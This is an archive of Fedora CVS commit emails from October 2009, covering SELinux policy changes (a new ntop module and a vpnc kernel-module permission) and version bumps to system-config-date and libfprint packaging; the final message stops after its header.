 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   34 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |    9 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   58 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    5 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   45 
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   63 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 +
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   40 
 policy/modules/services/rgmanager.te      |   54 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   17 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   78 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  281 +++++-
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   30 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  204 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  158 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |    4 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   74 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1404 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 336 files changed, 15744 insertions(+), 2596 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- policy-F12.patch	30 Sep 2009 21:20:46 -0000	1.96
+++ policy-F12.patch	1 Oct 2009 13:45:07 -0000	1.97
@@ -285,6 +285,222 @@ diff -b -B --ignore-all-space --exclude-
  userdom_use_user_terminals(netutils_t)
  userdom_use_all_users_fds(netutils_t)
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/ntop.fc serefpolicy-3.6.32/policy/modules/admin/ntop.fc
+--- nsaserefpolicy/policy/modules/admin/ntop.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/admin/ntop.fc	2009-10-01 08:24:35.000000000 -0400
+@@ -0,0 +1,5 @@
++/etc/rc\.d/init\.d/ntop	--	gen_context(system_u:object_r:ntop_initrc_exec_t,s0)
++
++/usr/sbin/ntop		--	gen_context(system_u:object_r:ntop_exec_t,s0)
++
++/var/lib/ntop(/.*)?		gen_context(system_u:object_r:ntop_var_lib_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/ntop.if serefpolicy-3.6.32/policy/modules/admin/ntop.if
+--- nsaserefpolicy/policy/modules/admin/ntop.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/admin/ntop.if	2009-10-01 08:24:35.000000000 -0400
+@@ -0,0 +1,158 @@
++
++## <summary>policy for ntop</summary>
++
++########################################
++## <summary>
++##	Execute a domain transition to run ntop.
++## </summary>
++## <param name="domain">
++## <summary>
++##	Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`ntop_domtrans',`
++	gen_require(`
++		type ntop_t, ntop_exec_t;
++	')
++
++	domtrans_pattern($1,ntop_exec_t,ntop_t)
++')
++
++
++########################################
++## <summary>
++##	Execute ntop server in the ntop domain.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	The type of the process performing this action.
++##	</summary>
++## </param>
++#
++interface(`ntop_initrc_domtrans',`
++	gen_require(`
++		type ntop_initrc_exec_t;
++	')
++
++	init_labeled_script_domtrans($1,ntop_initrc_exec_t)
++')
++
++########################################
++## <summary>
++##	Search ntop lib directories.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`ntop_search_lib',`
++	gen_require(`
++		type ntop_var_lib_t;
++	')
++
++	allow $1 ntop_var_lib_t:dir search_dir_perms;
++	files_search_var_lib($1)
++')
++
++########################################
++## <summary>
++##	Read ntop lib files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`ntop_read_lib_files',`
++	gen_require(`
++		type ntop_var_lib_t;
++	')
++
++	files_search_var_lib($1)
++        read_files_pattern($1, ntop_var_lib_t, ntop_var_lib_t)
++')
++
++########################################
++## <summary>
++##	Create, read, write, and delete
++##	ntop lib files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`ntop_manage_lib_files',`
++	gen_require(`
++		type ntop_var_lib_t;
++	')
++
++	files_search_var_lib($1)
++        manage_files_pattern($1, ntop_var_lib_t,  ntop_var_lib_t)
++')
++
++########################################
++## <summary>
++##	Manage ntop var_lib files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`ntop_manage_var_lib',`
++	gen_require(`
++		type ntop_var_lib_t;
++	')
++
++         manage_dirs_pattern($1,ntop_var_lib_t,ntop_var_lib_t)
++         manage_files_pattern($1,ntop_var_lib_t,ntop_var_lib_t)
++         manage_lnk_files_pattern($1,ntop_var_lib_t,ntop_var_lib_t)
++')
++
++
++########################################
++## <summary>
++##	All of the rules required to administrate 
++##	an ntop environment
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <param name="role">
++##	<summary>
++##	Role allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`ntop_admin',`
++	gen_require(`
++		type ntop_t;
++	')
++
++	allow $1 ntop_t:process { ptrace signal_perms getattr };
++	read_files_pattern($1, ntop_t, ntop_t)
++	        
++
++	gen_require(`
++		type ntop_initrc_exec_t;
++	')
++
++	# Allow ntop_t to restart the apache service
++	ntop_initrc_domtrans($1)
++	domain_system_change_exemption($1)
++	role_transition $2 ntop_initrc_exec_t system_r;
++	allow $2 system_r;
++
++	ntop_manage_var_lib($1)
++
++')
+Binary files nsaserefpolicy/policy/modules/admin/ntop.pp and serefpolicy-3.6.32/policy/modules/admin/ntop.pp differ
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/ntop.te serefpolicy-3.6.32/policy/modules/admin/ntop.te
+--- nsaserefpolicy/policy/modules/admin/ntop.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/admin/ntop.te	2009-10-01 08:24:35.000000000 -0400
+@@ -0,0 +1,40 @@
++policy_module(ntop,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type ntop_t;
++type ntop_exec_t;
++init_daemon_domain(ntop_t, ntop_exec_t)
++
++permissive ntop_t;
++
++type ntop_initrc_exec_t;
++init_script_file(ntop_initrc_exec_t)
++
++type ntop_var_lib_t;
++files_type(ntop_var_lib_t)
++
++########################################
++#
++# ntop local policy
++#
++allow ntop_t self:capability { setgid setuid };
++allow ntop_t self:fifo_file manage_file_perms;
++allow ntop_t self:unix_stream_socket create_stream_socket_perms;
++
++# Init script handling
++domain_use_interactive_fds(ntop_t)
++
++files_read_etc_files(ntop_t)
++
++manage_dirs_pattern(ntop_t, ntop_var_lib_t,  ntop_var_lib_t)
++manage_files_pattern(ntop_t, ntop_var_lib_t,  ntop_var_lib_t)
++files_var_lib_filetrans(ntop_t, ntop_var_lib_t, { file dir } )
++
++auth_use_nsswitch(ntop_t)
++
++miscfiles_read_localization(ntop_t)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/portage.te serefpolicy-3.6.32/policy/modules/admin/portage.te
 --- nsaserefpolicy/policy/modules/admin/portage.te	2009-08-18 18:39:50.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/admin/portage.te	2009-09-30 16:12:48.000000000 -0400
@@ -1340,6 +1556,17 @@ diff -b -B --ignore-all-space --exclude-
 +	xserver_exec_pid(vbetool_t)
 +	xserver_write_pid(vbetool_t)
 +')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/vpn.te serefpolicy-3.6.32/policy/modules/admin/vpn.te
+--- nsaserefpolicy/policy/modules/admin/vpn.te	2009-08-31 13:30:04.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/vpn.te	2009-10-01 09:40:37.000000000 -0400
+@@ -46,6 +46,7 @@
+ kernel_read_system_state(vpnc_t)
+ kernel_read_network_state(vpnc_t)
+ kernel_read_all_sysctls(vpnc_t)
++kernel_request_load_module(vpnc_t)
+ kernel_rw_net_sysctls(vpnc_t)
+ 
+ corenet_all_recvfrom_unlabeled(vpnc_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/calamaris.te serefpolicy-3.6.32/policy/modules/apps/calamaris.te
 --- nsaserefpolicy/policy/modules/apps/calamaris.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/calamaris.te	2009-09-30 16:12:48.000000000 -0400
@@ -8711,7 +8938,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.fc serefpolicy-3.6.32/policy/modules/services/apache.fc
 --- nsaserefpolicy/policy/modules/services/apache.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.fc	2009-10-01 08:26:33.000000000 -0400
 @@ -1,12 +1,13 @@
 -HOME_DIR/((www)|(web)|(public_html))(/.+)? gen_context(system_u:object_r:httpd_user_content_t,s0)
 +HOME_DIR/((www)|(web)|(public_html)|(public_git))(/.+)? gen_context(system_u:object_r:httpd_user_content_t,s0)
@@ -8737,12 +8964,13 @@ diff -b -B --ignore-all-space --exclude-
  /usr/sbin/apache(2)?		--	gen_context(system_u:object_r:httpd_exec_t,s0)
  /usr/sbin/apache-ssl(2)?	--	gen_context(system_u:object_r:httpd_exec_t,s0)
  /usr/sbin/httpd(\.worker)?	--	gen_context(system_u:object_r:httpd_exec_t,s0)
-@@ -32,12 +34,17 @@
+@@ -32,12 +34,18 @@
  /usr/sbin/httpd2-.*		--	gen_context(system_u:object_r:httpd_exec_t,s0)
  ')
  
 +/usr/share/drupal(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /usr/share/htdig(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
++/usr/share/ntop/html(/.*)?		gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /usr/share/openca/htdocs(/.*)?		gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /usr/share/selinux-policy[^/]*/html(/.*)? gen_context(system_u:object_r:httpd_sys_content_t,s0)
 +/usr/share/wordpress-mu/wp-config\.php   -- gen_context(system_u:object_r:httpd_sys_script_exec_t,s0)
@@ -8755,7 +8983,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/cache/mod_proxy(/.*)?		gen_context(system_u:object_r:httpd_cache_t,s0)
  /var/cache/mod_ssl(/.*)?		gen_context(system_u:object_r:httpd_cache_t,s0)
  /var/cache/php-eaccelerator(/.*)?	gen_context(system_u:object_r:httpd_cache_t,s0)
-@@ -47,6 +54,7 @@
+@@ -47,6 +55,7 @@
  
  /var/lib/cacti/rra(/.*)?		gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /var/lib/dav(/.*)?			gen_context(system_u:object_r:httpd_var_lib_t,s0)
@@ -8763,7 +8991,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/htdig(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /var/lib/httpd(/.*)?			gen_context(system_u:object_r:httpd_var_lib_t,s0)
  /var/lib/php/session(/.*)?		gen_context(system_u:object_r:httpd_var_run_t,s0)
-@@ -50,8 +58,10 @@
+@@ -50,8 +59,10 @@
  /var/lib/htdig(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
  /var/lib/httpd(/.*)?			gen_context(system_u:object_r:httpd_var_lib_t,s0)
  /var/lib/php/session(/.*)?		gen_context(system_u:object_r:httpd_var_run_t,s0)
@@ -8774,7 +9002,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/log/apache(2)?(/.*)?		gen_context(system_u:object_r:httpd_log_t,s0)
  /var/log/apache-ssl(2)?(/.*)?		gen_context(system_u:object_r:httpd_log_t,s0)
  /var/log/cacti(/.*)?			gen_context(system_u:object_r:httpd_log_t,s0)
-@@ -64,11 +74,34 @@
+@@ -64,11 +75,30 @@
  /var/run/apache.*			gen_context(system_u:object_r:httpd_var_run_t,s0)
  /var/run/gcache_port		-s	gen_context(system_u:object_r:httpd_var_run_t,s0)
  /var/run/httpd.*			gen_context(system_u:object_r:httpd_var_run_t,s0)
@@ -8806,10 +9034,6 @@ diff -b -B --ignore-all-space --exclude-
 +/var/www/svn(/.*)?			gen_context(system_u:object_r:httpd_sys_content_rw_t,s0)
 +/var/www/svn/hooks(/.*)?		gen_context(system_u:object_r:httpd_sys_script_exec_t,s0)
 +/var/www/svn/conf(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
-+
-+
-+
-+
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.if serefpolicy-3.6.32/policy/modules/services/apache.if
 --- nsaserefpolicy/policy/modules/services/apache.if	2009-07-28 15:51:13.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/apache.if	2009-09-30 16:12:48.000000000 -0400


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.933
retrieving revision 1.934
diff -u -p -r1.933 -r1.934
--- selinux-policy.spec	30 Sep 2009 21:20:46 -0000	1.933
+++ selinux-policy.spec	1 Oct 2009 13:45:08 -0000	1.934
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -366,7 +366,8 @@ SELinux Reference policy minimum base mo
 %saveFileContext minimum
 
 %post minimum
-%loadpolicy minimum
+packages="unconfined.pp.bz2 unconfineduser.pp.bz2"
+%loadpolicy minimum $packages
 if [ $1 -eq 1 ]; then
 semanage -S minimum -i - << __eof
 login -m  -s unconfined_u -r s0-s0:c0.c1023 __default__
@@ -448,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-17
+- Allow vpnc request the kernel to load modules
+
 * Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-16
 - Fix minimum policy installs
 - Allow udev and rpcbind to request the kernel to load modules



From nphilipp at fedoraproject.org  Thu Oct  1 13:45:58 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu,  1 Oct 2009 13:45:58 +0000 (UTC)
Subject: rpms/system-config-date/F-12 .cvsignore, 1.110, 1.111 sources, 1.122,
	1.123 system-config-date.spec, 1.130, 1.131
Message-ID: <20091001134558.1C39511C00C1@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/system-config-date/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7856

Modified Files:
	.cvsignore sources system-config-date.spec 
Log Message:
version 1.9.52


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/.cvsignore,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- .cvsignore	30 Sep 2009 17:02:40 -0000	1.110
+++ .cvsignore	1 Oct 2009 13:45:57 -0000	1.111
@@ -1 +1 @@
-system-config-date-1.9.51.tar.bz2
+system-config-date-1.9.52.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/sources,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sources	30 Sep 2009 17:02:41 -0000	1.122
+++ sources	1 Oct 2009 13:45:57 -0000	1.123
@@ -1 +1 @@
-a936979ae353116c52be1f5c9b51654c  system-config-date-1.9.51.tar.bz2
+d5402278227ca14cb26b836343a8d59a  system-config-date-1.9.52.tar.bz2


Index: system-config-date.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/F-12/system-config-date.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- system-config-date.spec	30 Sep 2009 17:02:41 -0000	1.130
+++ system-config-date.spec	1 Oct 2009 13:45:57 -0000	1.131
@@ -17,7 +17,7 @@
 
 Summary: A graphical interface for modifying system date and time
 Name: system-config-date
-Version: 1.9.51
+Version: 1.9.52
 Release: 1%{?dist}
 URL: http://fedorahosted.org/%{name}
 License: GPLv2+
@@ -125,6 +125,9 @@ fi
 #%{python_sitelib}/scdate.dbus-%{version}-py%{python_version}.egg-info
 
 %changelog
+* Thu Oct 01 2009 Nils Philippsen <nils at redhat.com> - 1.9.52-1
+- pull in fixed Malayalam translations (#526636)
+
 * Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 1.9.51-1
 - deal better with untranslated time zones (#524823)
 



From nphilipp at fedoraproject.org  Thu Oct  1 13:46:00 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu,  1 Oct 2009 13:46:00 +0000 (UTC)
Subject: rpms/system-config-date/devel .cvsignore, 1.110, 1.111 sources,
	1.122, 1.123 system-config-date.spec, 1.130, 1.131
Message-ID: <20091001134600.94F9911C00C1@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/system-config-date/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7894

Modified Files:
	.cvsignore sources system-config-date.spec 
Log Message:
version 1.9.52


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/.cvsignore,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- .cvsignore	30 Sep 2009 17:02:25 -0000	1.110
+++ .cvsignore	1 Oct 2009 13:45:59 -0000	1.111
@@ -1 +1 @@
-system-config-date-1.9.51.tar.bz2
+system-config-date-1.9.52.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/sources,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sources	30 Sep 2009 17:02:26 -0000	1.122
+++ sources	1 Oct 2009 13:45:59 -0000	1.123
@@ -1 +1 @@
-a936979ae353116c52be1f5c9b51654c  system-config-date-1.9.51.tar.bz2
+d5402278227ca14cb26b836343a8d59a  system-config-date-1.9.52.tar.bz2


Index: system-config-date.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-date/devel/system-config-date.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- system-config-date.spec	30 Sep 2009 17:02:27 -0000	1.130
+++ system-config-date.spec	1 Oct 2009 13:45:59 -0000	1.131
@@ -17,7 +17,7 @@
 
 Summary: A graphical interface for modifying system date and time
 Name: system-config-date
-Version: 1.9.51
+Version: 1.9.52
 Release: 1%{?dist}
 URL: http://fedorahosted.org/%{name}
 License: GPLv2+
@@ -125,6 +125,9 @@ fi
 #%{python_sitelib}/scdate.dbus-%{version}-py%{python_version}.egg-info
 
 %changelog
+* Thu Oct 01 2009 Nils Philippsen <nils at redhat.com> - 1.9.52-1
+- pull in fixed Malayalam translations (#526636)
+
 * Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 1.9.51-1
 - deal better with untranslated time zones (#524823)
 



From hadess at fedoraproject.org  Thu Oct  1 14:15:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 14:15:43 +0000 (UTC)
Subject: rpms/libfprint/F-12 libfprint.spec, 1.25,
	1.26 fprint-add-udev-rules.patch, 1.1, NONE
Message-ID: <20091001141543.66FB511C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libfprint/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13345

Modified Files:
	libfprint.spec 
Removed Files:
	fprint-add-udev-rules.patch 
Log Message:
* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.1.0-12.pre2
- Update udev autosuspend rules and disable SGS Thomson reader



Index: libfprint.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libfprint/F-12/libfprint.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libfprint.spec	21 Aug 2009 14:16:18 -0000	1.25
+++ libfprint.spec	1 Oct 2009 14:15:42 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           libfprint
 Version:        0.1.0
-Release:        11.pre2%{?dist}
+Release:        12.pre2%{?dist}
 Summary:        Tool kit for fingerprint scanner
 
 Group:          System Environment/Libraries
@@ -8,7 +8,8 @@ License:        LGPLv2+
 URL:            http://www.reactivated.net/fprint/wiki/Main_Page 
 Source0:        http://downloads.sourceforge.net/fprint/%{name}-0.1.0-pre2.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Patch1:		fprint-add-udev-rules.patch
+# http://thread.gmane.org/gmane.linux.fprint/1321
+Patch1:		0001-Add-udev-rules-to-set-devices-to-autosuspend.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=472103
 Patch2:		0001-Add-gdk-pixbuf-support.patch
 ExcludeArch:    s390 s390x
@@ -75,6 +76,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.1.0-12.pre2
+- Update udev autosuspend rules and disable SGS Thomson reader
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.1.0-11.pre2
 - rebuilt with new openssl
 


--- fprint-add-udev-rules.patch DELETED ---



From hadess at fedoraproject.org  Thu Oct  1 14:17:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 14:17:43 +0000 (UTC)
Subject: rpms/libfprint/F-12
	0001-Add-udev-rules-to-set-devices-to-autosuspend.patch, NONE, 1.1
Message-ID: <20091001141743.9441211C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

